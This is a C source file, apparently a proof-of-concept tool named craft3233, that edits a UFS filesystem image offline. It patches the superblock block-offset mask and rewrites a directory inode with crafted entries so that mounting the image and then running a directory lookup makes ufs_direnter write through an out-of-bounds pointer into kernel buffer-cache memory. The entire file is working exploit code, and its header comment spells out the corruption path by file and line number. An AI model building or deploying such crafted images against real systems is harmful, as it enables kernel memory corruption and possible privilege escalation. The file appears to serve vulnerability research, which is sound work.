DF-3233 / craft3233.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 | /* * craft3233.c — DF-3233 offline image builder (root, guest). * * Builds the crafted-mount precondition for the ffs_blkatoff *res OOB: * * fs_qbmask patched 0x1fff -> 0x1ffff (128 KB "block offset" mask) * directory inode <dirino> rewritten: i_size = 0x31000 (200704), * 25 blocks of directory data (blocks 0..11 direct, 12..24 via one * single-indirect block), mode 0777. * directory content: 32-byte entries with d_reclen == DIRSIZ (zero * slack -> no mid-dir slot), except one 512-byte FREE-SLOT entry * (d_ino == 0, d_reclen == 512) placed at byte offset $SLOT * (512-aligned, inside the last 8 KB block). * * A lookup of a non-existent name then finds exactly one slot at $SLOT, * so ufs_direnter() runs its i_count != 0 path: * * ufs_lookup.c:793 ffs_blkatoff(dvp, dp->i_offset=SLOT, &dirbuf, &bp) * ffs_subr.c:80 *res = bp->b_data + (SLOT & fs_qbmask) * * With SLOT & 0x1ffff >= 65536, dirbuf points into the buffer-cache KVA * slot AFTER the 8192-byte directory buffer, and ufs_direnter reads * (ep->d_ino / d_reclen / d_namlen) and then WRITES the new entry * (ufs_lookup.c:806-870) through that wild pointer. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <fcntl.h> #include <unistd.h> #include <err.h> #include <stddef.h> #include <sys/types.h> typedef int32_t ufs_time_t; typedef int32_t ufs_daddr_t; #define _KERNEL_STRUCTURES #define MAXFRAG 8 #include "fs.h" #include "dinode.h" #define BSIZE 8192 #define FSIZE 1024 #define FRAG 8 #define ISIZE 0x31000 /* 200704 = 24.5 * 8192 */ #define BASEFRAG 20000 /* first data frag we scribble (block 2500) */ #define NBLOCKS ((ISIZE + BSIZE - 1) / BSIZE) /* 25 blocks (0..24) */ struct ent { uint32_t ino; uint16_t reclen; uint8_t namlen; uint8_t type; char name[24]; } __attribute__((packed)); int main(int argc, char **argv) { struct fs sb; struct ufs1_dinode di; off_t sbpos = 8192, ioff; uint32_t dirino; long slot; int fd, b, i, n; unsigned char blk[BSIZE]; struct ent *e; int32_t *ind; uint64_t qb = 0x1ffff; if (argc != 4) { fprintf(stderr, "usage: craft3233 img dirino slot_off\n"); return (2); } fd = open(argv[1], O_RDWR); if (fd < 0) err(1, "open"); dirino = (uint32_t)strtoul(argv[2], NULL, 0); slot = strtol(argv[3], NULL, 0); if (pread(fd, &sb, sizeof(sb), sbpos) != sizeof(sb)) err(1, "read sb"); if (sb.fs_magic != FS_MAGIC) errx(1, "bad magic"); printf("[sb] fsize=%ld bsize=%ld frag=%ld qbmask=%llx ipg=%ld " "inopb=%ld iblkno=%d\n", (long)sb.fs_fsize, (long)sb.fs_bsize, (long)sb.fs_frag, (unsigned long long)sb.fs_qbmask, (long)sb.fs_ipg, (long)sb.fs_inopb, sb.fs_iblkno); if (sb.fs_fsize != FSIZE || sb.fs_bsize != BSIZE || sb.fs_frag != FRAG) errx(1, "unexpected geometry — adjust constants"); if (slot < 0x30000 || slot > ISIZE - 512 || (slot & 511)) errx(3, "slot must be 512-aligned in [0x30000, 0x30e00]"); /* ---- directory data blocks: 32-byte no-slack entries ---- */ for (b = 0; b < NBLOCKS; b++) { memset(blk, 0, sizeof(blk)); for (i = 0; i < BSIZE / 32; i++) { long off = (long)b * BSIZE + i * 32; e = (struct ent *)(blk + i * 32); if (off == slot) { /* the one FREE SLOT: ino 0, 512 bytes */ e->ino = 0; e->reclen = 512; e->namlen = 0; e->type = 0; i += 15; /* skip to next 512 boundary */ continue; } e->ino = 1000; e->reclen = 32; e->namlen = 23; e->type = 1; /* DT_REG */ snprintf(e->name, 24, "f%022ld", off / 32); } if (pwrite(fd, blk, BSIZE, (off_t)(BASEFRAG + b * FRAG) * FSIZE) != BSIZE) err(1, "write dirblk %d", b); } /* ---- single indirect block for blocks 12..24 ---- */ memset(blk, 0, sizeof(blk)); ind = (int32_t *)blk; for (i = 0; i < NBLOCKS - 12; i++) ind[i] = BASEFRAG + (12 + i) * FRAG; if (pwrite(fd, blk, BSIZE, (off_t)(BASEFRAG + 200 * FRAG) * FSIZE) != BSIZE) err(1, "write indirect"); /* ---- rewrite the directory inode ---- */ { off_t cg = dirino / sb.fs_ipg; off_t cgstart = (off_t)sb.fs_fpg * cg + sb.fs_cgoffset * (cg & ~(off_t)sb.fs_cgmask); off_t blkno = (dirino % sb.fs_ipg) / sb.fs_inopb; off_t frag = cgstart + sb.fs_iblkno + blkno * sb.fs_frag; ioff = frag * FSIZE + (off_t)((dirino % sb.fs_inopb) * sizeof(struct ufs1_dinode)); } if (pread(fd, &di, sizeof(di), ioff) != sizeof(di)) err(1, "read dinode"); printf("[ino %u] before: mode=%06o size=%llu db0=%ld ib0=%ld\n", dirino, di.di_mode, (unsigned long long)di.di_size, (long)di.di_db[0], (long)di.di_ib[0]); if ((di.di_mode & IFMT) != IFDIR) errx(3, "inode %u is not a directory", dirino); memset(di.di_db, 0, sizeof(di.di_db)); memset(di.di_ib, 0, sizeof(di.di_ib)); for (b = 0; b < 12 && b < NBLOCKS; b++) di.di_db[b] = BASEFRAG + b * FRAG; di.di_ib[0] = BASEFRAG + 200 * FRAG; di.di_size = ISIZE; di.di_mode = IFDIR | 0777; di.di_flags = 0; if (pwrite(fd, &di, sizeof(di), ioff) != sizeof(di)) err(1, "write dinode"); printf("[ino %u] after : size=%lu db0=%d..db11=%d ib0=%d\n", dirino, (unsigned long)di.di_size, di.di_db[0], di.di_db[11], di.di_ib[0]); /* ---- poison the superblock: fs_qbmask 0x1fff -> 0x1ffff ---- */ if (pwrite(fd, &qb, 8, sbpos + offsetof(struct fs, fs_qbmask)) != 8) err(1, "pwrite qbmask"); pread(fd, &sb, sizeof(sb), sbpos); printf("[sb-after] qbmask=%llx (blkoff(0x%lx) = 0x%lx)\n", (unsigned long long)sb.fs_qbmask, slot, (unsigned long)(slot & 0x1ffff)); printf("[*] dirbuf will land %ld bytes past the 8192-byte block-24 " "buffer\n", (long)((slot & 0x1ffff) - BSIZE)); n = ISIZE / 32; printf("[*] %d x 32B entries, free slot at 0x%lx\n", n, slot); return (0); } |